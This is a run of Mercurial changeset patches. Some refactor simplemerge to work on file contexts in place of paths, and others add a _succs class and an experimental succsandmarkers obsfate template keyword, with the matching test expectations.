@@ -18,15 +18,12 @@
 
 from __future__ import absolute_import
 
-import os
-
 from .i18n import _
 from . import (
     error,
     mdiff,
     pycompat,
     util,
-    vfs as vfsmod,
 )
 
 class CantReprocessAndShowBase(Exception):
@@ -428,13 +425,8 @@
 
     {local|base|other}ctx are optional. If passed, they (local/base/other) will
     be read from and the merge result written to (local). You should pass
-    explicit labels in this mode since the default is to use the file paths."""
-    def readfile(filename):
-        f = open(filename, "rb")
-        text = f.read()
-        f.close()
-        return _verifytext(text, filename, ui, opts)
-
+    explicit labels in this mode since the default is to use the file paths.
+    """
     def readctx(ctx):
         if not ctx:
             return None
@@ -466,20 +458,16 @@
                                                 opts.get('label', []))
 
     try:
-        localtext = readctx(localctx) if localctx else readfile(localfile)
-        basetext = readctx(basectx) if basectx else readfile(basefile)
-        othertext = readctx(otherctx) if otherctx else readfile(otherfile)
+        localtext = readctx(localctx)
+        basetext = readctx(basectx)
+        othertext = readctx(otherctx)
     except error.Abort:
         return 1
 
     if opts.get('print'):
         out = ui.fout
-    elif localctx:
+    else:
         out = ctxwriter(localctx)
-    else:
-        localfile = os.path.realpath(localfile)
-        opener = vfsmod.vfs(os.path.dirname(localfile))
-        out = opener(os.path.basename(localfile), "w", atomictemp=True)
 
     m3 = Merge3Text(basetext, localtext, othertext)
     extrakwargs = {
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635451 25200
#      Thu Aug 24 21:30:51 2017 -0700
# Node ID fa6309c5761dbe55781df0e99c71eb30ec17ab85
# Parent  61b267a99fea8d7f6b9fa6dceade50044709df1d
simplemerge: stop accepting, and passing, file parameters

Differential Revision: https://phab.mercurial-scm.org/D381

diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -85,9 +85,6 @@
             raise ParseError(_('wrong number of arguments'))
     local, base, other = args
     sys.exit(simplemerge.simplemerge(uimod.ui.load(),
-                                     local,
-                                     base,
-                                     other,
                                      filebackedctx(local),
                                      filebackedctx(base),
                                      filebackedctx(other),
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -341,7 +341,7 @@
                 labels = _defaultconflictlabels
             if len(labels) < 3:
                 labels.append('base')
-        r = simplemerge.simplemerge(ui, a, b, c, fcd, fca, fco,
+        r = simplemerge.simplemerge(ui, fcd, fca, fco,
                                     quiet=True, label=labels, repo=repo)
         if not r:
             ui.debug(" premerge successful\n")
@@ -372,7 +372,7 @@
 
     ui = repo.ui
 
-    r = simplemerge.simplemerge(ui, a, b, c, fcd, fca, fco,
+    r = simplemerge.simplemerge(ui, fcd, fca, fco,
                                 label=labels, mode=mode, repo=repo)
     return True, r, False
 
@@ -425,7 +425,7 @@
     assert localorother is not None
     tool, toolpath, binary, symlink = toolconf
     a, b, c, back = files
-    r = simplemerge.simplemerge(repo.ui, a, b, c, fcd, fca, fco,
+    r = simplemerge.simplemerge(repo.ui, fcd, fca, fco,
                                 label=labels, localorother=localorother,
                                 repo=repo)
     return True, r
diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -419,8 +419,8 @@
 
     return [name_a, name_b, name_base]
 
-def simplemerge(ui, localfile, basefile, otherfile,
-                localctx=None, basectx=None, otherctx=None, repo=None, **opts):
+def simplemerge(ui, localctx=None, basectx=None, otherctx=None, repo=None,
+                **opts):
     """Performs the simplemerge algorithm.
 
     {local|base|other}ctx are optional. If passed, they (local/base/other) will
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635451 25200
#      Thu Aug 24 21:30:51 2017 -0700
# Node ID 1ad3085239ad7458c05575565927107dfd58e408
# Parent  fa6309c5761dbe55781df0e99c71eb30ec17ab85
simplemerge: make context parameters non-optional

Also update the function docstring.

Differential Revision: https://phab.mercurial-scm.org/D382

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -419,13 +419,10 @@
 
     return [name_a, name_b, name_base]
 
-def simplemerge(ui, localctx=None, basectx=None, otherctx=None, repo=None,
-                **opts):
+def simplemerge(ui, localctx, basectx, otherctx, repo=None, **opts):
     """Performs the simplemerge algorithm.
 
-    {local|base|other}ctx are optional. If passed, they (local/base/other) will
-    be read from and the merge result written to (local). You should pass
-    explicit labels in this mode since the default is to use the file paths.
+    The merged result is written into `localctx`.
     """
     def readctx(ctx):
         if not ctx:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635451 25200
#      Thu Aug 24 21:30:51 2017 -0700
# Node ID 4074de97b512a0c828b91b3295c317f8ba4a5f68
# Parent  1ad3085239ad7458c05575565927107dfd58e408
simplemerge: simplify code now that we always write to a context

There's no need for an `out` abstraction between files and contexts anymore.

Differential Revision: https://phab.mercurial-scm.org/D383

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -436,17 +436,6 @@
         # repository usually sees) might be more useful.
         return _verifytext(ctx.decodeddata(), ctx.path(), ui, opts)
 
-    class ctxwriter(object):
-        def __init__(self, ctx):
-            self.ctx = ctx
-            self.text = ""
-
-        def write(self, text):
-            self.text += text
-
-        def close(self):
-            self.ctx.write(self.text, self.ctx.flags())
-
     mode = opts.get('mode','merge')
     name_a, name_b, name_base = None, None, None
     if mode != 'union':
@@ -461,11 +450,6 @@
     except error.Abort:
         return 1
 
-    if opts.get('print'):
-        out = ui.fout
-    else:
-        out = ctxwriter(localctx)
-
     m3 = Merge3Text(basetext, localtext, othertext)
     extrakwargs = {
             "localorother": opts.get("localorother", None),
@@ -479,12 +463,17 @@
         extrakwargs['base_marker'] = '|||||||'
         extrakwargs['name_base'] = name_base
         extrakwargs['minimize'] = False
+
+    mergedtext = ""
     for line in m3.merge_lines(name_a=name_a, name_b=name_b,
                                **pycompat.strkwargs(extrakwargs)):
-        out.write(line)
+        if opts.get('print'):
+            ui.fout.write(line)
+        else:
+            mergedtext += line
 
     if not opts.get('print'):
-        out.close()
+        localctx.write(mergedtext, localctx.flags())
 
     if m3.conflicts and not mode == 'union':
         return 1
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499036035 -7200
#      Mon Jul 03 00:53:55 2017 +0200
# Node ID 84f72072bde618a976488ed0197004b60d7339a3
# Parent  4074de97b512a0c828b91b3295c317f8ba4a5f68
obsolete: introduce a _succs class

It will be useful later when we will be adding markers to _succs in order to
represent a successorset with the list of markers from the root to each
successors sets. This information will be needed for the obsfate template I will
introduce.

Makes it a subclass of list so all callers will continue to work.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -327,6 +327,9 @@
             obsoleted.add(rev)
     return obsoleted
 
+class _succs(list):
+    """small class to represent a successors with some metadata about it"""
+
 def successorssets(repo, initialnode, closest=False, cache=None):
     """Return set of all latest successors of initial nodes
 
@@ -445,7 +448,7 @@
             # case (2): end of walk.
             if current in repo:
                 # We have a valid successors.
-                cache[current] = [(current,)]
+                cache[current] = [_succs((current,))]
             else:
                 # Final obsolete version is unknown locally.
                 # Do not count that as a valid successors
@@ -521,13 +524,13 @@
                 succssets = []
                 for mark in sorted(succmarkers[current]):
                     # successors sets contributed by this marker
-                    markss = [[]]
+                    markss = [_succs()]
                     for suc in mark[1]:
                         # cardinal product with previous successors
                         productresult = []
                         for prefix in markss:
                             for suffix in cache[suc]:
-                                newss = list(prefix)
+                                newss = _succs(prefix)
                                 for part in suffix:
                                     # do not duplicated entry in successors set
                                     # first entry wins.
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499044397 -7200
#      Mon Jul 03 03:13:17 2017 +0200
# Node ID dba493981284b00cb434e7878fa4ca3ce568cfa8
# Parent  84f72072bde618a976488ed0197004b60d7339a3
obsolete: add an explicit '_succs.copy()' method

Mimic the standard API for copying in the _succs class, it makes the code
slightly cleaner and will be needed later for copying markers at the same time
than copying the list content.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -330,6 +330,9 @@
 class _succs(list):
     """small class to represent a successors with some metadata about it"""
 
+    def copy(self):
+        return _succs(self)
+
 def successorssets(repo, initialnode, closest=False, cache=None):
     """Return set of all latest successors of initial nodes
 
@@ -530,7 +533,7 @@
                         productresult = []
                         for prefix in markss:
                             for suffix in cache[suc]:
-                                newss = _succs(prefix)
+                                newss = prefix.copy()
                                 for part in suffix:
                                     # do not duplicated entry in successors set
                                     # first entry wins.
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499045278 -7200
#      Mon Jul 03 03:27:58 2017 +0200
# Node ID 34e10e09afa5b07b409f7fd6fc407f98910a257c
# Parent  dba493981284b00cb434e7878fa4ca3ce568cfa8
obsolete: track markers in _succs

We now also store markers in _succs. It will be useful for the obsfate template that
will use them to display more meaningful information like the list of users
that have evolved a changeset into its successors.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -330,8 +330,14 @@
 class _succs(list):
     """small class to represent a successors with some metadata about it"""
 
+    def __init__(self, *args, **kwargs):
+        super(_succs, self).__init__(*args, **kwargs)
+        self.markers = set()
+
     def copy(self):
-        return _succs(self)
+        new = _succs(self)
+        new.markers = self.markers.copy()
+        return new
 
 def successorssets(repo, initialnode, closest=False, cache=None):
     """Return set of all latest successors of initial nodes
@@ -527,13 +533,16 @@
                 succssets = []
                 for mark in sorted(succmarkers[current]):
                     # successors sets contributed by this marker
-                    markss = [_succs()]
+                    base = _succs()
+                    base.markers.add(mark)
+                    markss = [base]
                     for suc in mark[1]:
                         # cardinal product with previous successors
                         productresult = []
                         for prefix in markss:
                             for suffix in cache[suc]:
                                 newss = prefix.copy()
+                                newss.markers.update(suffix.markers)
                                 for part in suffix:
                                     # do not duplicated entry in successors set
                                     # first entry wins.
@@ -548,12 +557,13 @@
                 candidate = sorted(((set(s), s) for s in succssets if s),
                                    key=lambda x: len(x[1]), reverse=True)
                 for setversion, listversion in candidate:
-                    for seenset in seen:
+                    for seenset, seensuccs in seen:
                         if setversion.issubset(seenset):
+                            seensuccs.markers.update(listversion.markers)
                             break
                     else:
                         final.append(listversion)
-                        seen.append(setversion)
+                        seen.append((setversion, listversion))
                 final.reverse() # put small successors set first
                 cache[current] = final
     return cache[initialnode]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502987171 -7200
#      Thu Aug 17 18:26:11 2017 +0200
# Node ID e278d6d2d7d2f8ffe024333ea25a5b3fb4e66ecf
# Parent  34e10e09afa5b07b409f7fd6fc407f98910a257c
template: add minimal obsfate template function

The goal of this series is to have templates capable of displaying the
evolution of a changeset in a clean and human-readable way.

Add the succsandmarkers template return successors and markers so it can be
used separately like this:

> {succsandmarkers % "{get(succsandmarkers, "markers")|json};"}

The following patches will add template functions that takes successors and
markers as inputs and compute various obsfate fields from them.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -567,3 +567,18 @@
                 final.reverse() # put small successors set first
                 cache[current] = final
     return cache[initialnode]
+
+def successorsandmarkers(repo, ctx):
+    """compute the raw data needed for computing obsfate
+    Returns a list of dict, one dict per successors set
+    """
+    if not ctx.obsolete():
+        return None
+
+    ssets = successorssets(repo, ctx.node(), closest=True)
+
+    values = []
+    for sset in ssets:
+        values.append({'successors': sset, 'markers': sset.markers})
+
+    return values
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -674,6 +674,48 @@
     return _hybrid(gen(data), data, lambda x: {'successorset': x},
                    lambda d: d["successorset"])
 
+@templatekeyword("succsandmarkers")
+def showsuccsandmarkers(repo, ctx, **args):
+    """Returns a list of dict for each final successor of ctx.
+
+    The dict contains successors node id in "successors" keys and the list of
+    obs-markers from ctx to the set of successors in "markers"
+
+    (EXPERIMENTAL)
+    """
+
+    values = obsutil.successorsandmarkers(repo, ctx)
+
+    if values is None:
+        values = []
+
+    # Format successors and markers to avoid exposing binary to templates
+    data = []
+    for i in values:
+        # Format successors
+        successors = i['successors']
+
+        successors = [hex(n) for n in successors]
+        successors = _hybrid(None, successors,
+                             lambda x: {'ctx': repo[x], 'revcache': {}},
+                             lambda d: _formatrevnode(d['ctx']))
+
+        # Format markers
+        finalmarkers = []
+        for m in i['markers']:
+            hexprec = hex(m[0])
+            hexsucs = tuple(hex(n) for n in m[1])
+            hexparents = None
+            if m[5] is not None:
+                hexparents = tuple(hex(n) for n in m[5])
+            newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
+            finalmarkers.append(newmarker)
+
+        data.append({'successors': successors, 'markers': finalmarkers})
+
+    f = _showlist('succsandmarkers', data, args)
+    return _hybrid(f, data, lambda x: x, lambda d: d)
+
 @templatekeyword('p1rev')
 def showp1rev(repo, ctx, templ, **args):
     """Integer. The repository-local revision number of the changeset's
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -11,6 +11,9 @@
   > publish=False
   > [experimental]
   > stabilization=all
+  > [templates]
+  > obsfatesuccessors = " as {join(successors, ", ")}"
+  > obsfate = "rewritten{obsfatesuccessors}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -20,6 +23,8 @@
   >     {if(successorssets, "\n  Successors: {successorssets}")}\
   >     {if(successorssets, "\n  multi-line: {join(successorssets, "\n  multi-line: ")}")}\
   >     {if(successorssets, "\n  json: {successorssets|json}")}\n'
+  > fatelog = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers % "{obsfate}"} \n" )}'
+  > fatelogjson = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers|json}\n")}'
   > EOF
 
 Test templates on amended commit
@@ -33,8 +38,8 @@
   $ mkcommit ROOT
   $ mkcommit A0
   $ echo 42 >> A0
-  $ hg commit --amend -m "A1"
-  $ hg commit --amend -m "A2"
+  $ HGUSER=test1 hg commit --amend -m "A1" --config devel.default-date="1234567890 0"
+  $ HGUSER=test2 hg commit --amend -m "A2" --config devel.default-date="987654321 0"
 
   $ hg log --hidden -G
   @  changeset:   4:d004c8f274b9
@@ -83,6 +88,27 @@
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
+  $ hg fatelog -q --traceback
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  o  ea207398892e
+  
+  $ hg fatelog
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  o  ea207398892e
+  
+  $ hg fatelog -v
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  o  ea207398892e
+  
   $ hg up 'desc(A1)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -99,6 +125,13 @@
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
+  $ hg fatelog -v
+  o  d004c8f274b9
+  |
+  | @  a468dc9b3633
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  o  ea207398892e
+  
 Predecessors template should show all the predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
@@ -123,6 +156,17 @@
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
+  $ hg fatelog --hidden -q
+  o  d004c8f274b9
+  |
+  | @  a468dc9b3633
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  | x  f137d23bb3e1
+  | |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:a468dc9b3633;
+  o  ea207398892e
+  
 
 Predecessors template shouldn't show anything as all obsolete commit are not
 visible.
@@ -155,7 +199,35 @@
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
+  $ hg fatelog -v
+  @  d004c8f274b9
+  |
+  o  ea207398892e
+  
 
+  $ hg fatelog -v --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  | x  f137d23bb3e1
+  | |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:a468dc9b3633;
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
+  | x  f137d23bb3e1
+  | |
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
+  o  ea207398892e
+  
 Test templates with splitted commit
 ===================================
 
@@ -239,6 +311,16 @@
   |      json: [["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | @  471597cad322
+  |/     Obsfate: rewritten as 2:337fec4d2edc, 3:f257fde29c7a;
+  o  ea207398892e
+  
   $ hg up f257fde29c7a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -270,6 +352,25 @@
   |      json: [["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]]
   o  ea207398892e
   
+
+  $ hg fatelog --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: rewritten as 2:337fec4d2edc, 3:f257fde29c7a;
+  o  ea207398892e
+  
+  $ hg fatelogjson --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: [{"markers": [["471597cad322d1f659bb169751be9133dad92ef3", ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]}]
+  o  ea207398892e
+  
 Test templates with folded commit
 =================================
 
@@ -354,6 +455,14 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  o  ea207398892e
+  
   $ hg up 'desc(B0)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -375,6 +484,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  o  ea207398892e
+  
   $ hg up 'desc(C0)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -404,6 +523,26 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  o  ea207398892e
+  
+
 Test templates with divergence
 ==============================
 
@@ -521,6 +660,15 @@
   |      json: [["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]]
   o  ea207398892e
   
+  $ hg fatelog
+  o  019fadeab383
+  |
+  | o  fdf9bde5129a
+  |/
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 2:fdf9bde5129a; rewritten as 4:019fadeab383;
+  o  ea207398892e
+  
   $ hg up 'desc(A1)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -533,6 +681,14 @@
   |/
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  019fadeab383
+  |
+  | @  fdf9bde5129a
+  |/
+  o  ea207398892e
+  
 Predecessors template should the predecessors as we force their display with
 --hidden
   $ hg tlog --hidden
@@ -562,6 +718,30 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten as 4:019fadeab383;
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:fdf9bde5129a; rewritten as 3:65b757b745b9;
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: [{"markers": [["65b757b745b935093c87a2bccd877521cccffcbd", ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]}]
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"]}, {"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["65b757b745b935093c87a2bccd877521cccffcbd"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["65b757b745b935093c87a2bccd877521cccffcbd"]}]
+  o  ea207398892e
+  
+
 Test templates with amended + folded commit
 ===========================================
 
@@ -659,6 +839,14 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  o  ea207398892e
+  
   $ hg up 'desc(B0)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -679,6 +867,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  o  ea207398892e
+  
   $ hg up 'desc(B1)' --hidden
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -699,6 +897,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  o  ea207398892e
+  
   $ hg up 'desc(C0)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -708,6 +916,12 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  @  eb5a0daa2192
+  |
+  o  ea207398892e
+  
 Predecessors template should show all predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
@@ -735,6 +949,30 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten as 3:b7ea6d14e664;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: [{"markers": [["b7ea6d14e664bdc8922221f7992631b50da3fb07", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  | | x  0dec01379d3b
+  | |/     Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["b7ea6d14e664bdc8922221f7992631b50da3fb07"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["b7ea6d14e664bdc8922221f7992631b50da3fb07"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  o  ea207398892e
+  
+
 Test template with pushed and pulled obs markers
 ================================================
 
@@ -838,6 +1076,14 @@
   |      json: [["7a230b46bf61e50b30308c6cfd7bd1269ef54702"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  7a230b46bf61
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 2:7a230b46bf61;
+  o  ea207398892e
+  
   $ hg up 'desc(A2)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -847,6 +1093,12 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  @  7a230b46bf61
+  |
+  o  ea207398892e
+  
 Predecessors template should show all predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
@@ -862,6 +1114,14 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:7a230b46bf61;
+  o  ea207398892e
+  
+
 Test template with obsmarkers cycle
 ===================================
 
@@ -895,6 +1155,12 @@
   o  ea207398892e
   
 
+  $ hg fatelog
+  @  f897c6137566
+  |
+  o  ea207398892e
+  
+
   $ hg up -r "desc(B0)" --hidden
   2 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -923,6 +1189,16 @@
   o  ea207398892e
   
 
+  $ hg fatelog
+  o  f897c6137566
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566; rewritten as 1:471f378eab4c;
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b;
+  o  ea207398892e
+  
+
   $ hg up -r "desc(A0)" --hidden
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -936,6 +1212,14 @@
   o  ea207398892e
   
 
+  $ hg fatelog
+  o  f897c6137566
+  |
+  | @  471f378eab4c
+  |/
+  o  ea207398892e
+  
+
   $ hg up -r "desc(ROOT)" --hidden
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -944,6 +1228,12 @@
   @  ea207398892e
   
 
+  $ hg fatelog
+  o  f897c6137566
+  |
+  @  ea207398892e
+  
+
   $ hg tlog --hidden
   o  f897c6137566
   |    Predecessors: 2:0dec01379d3b
@@ -1153,6 +1443,21 @@
   |
   o  ea207398892e
   
+  $ hg fatelog
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: rewritten as 8:b18bc8331526; rewritten as 9:0b997eb7ceee;
+  o  dd800401bd8c
+  |
+  o  f897c6137566
+  |
+  o  ea207398892e
+  
   $ hg tlog --hidden
   @  0b997eb7ceee
   |    Predecessors: 6:4a004186e638
@@ -1211,6 +1516,48 @@
   |      json: [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]]
   o  ea207398892e
   
+  $ hg fatelog --hidden
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: rewritten as 8:b18bc8331526; rewritten as 9:0b997eb7ceee;
+  o  dd800401bd8c
+  |
+  | x  9bd10a0775e4
+  |/     Obsfate: rewritten as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a;
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566; rewritten as 1:471f378eab4c;
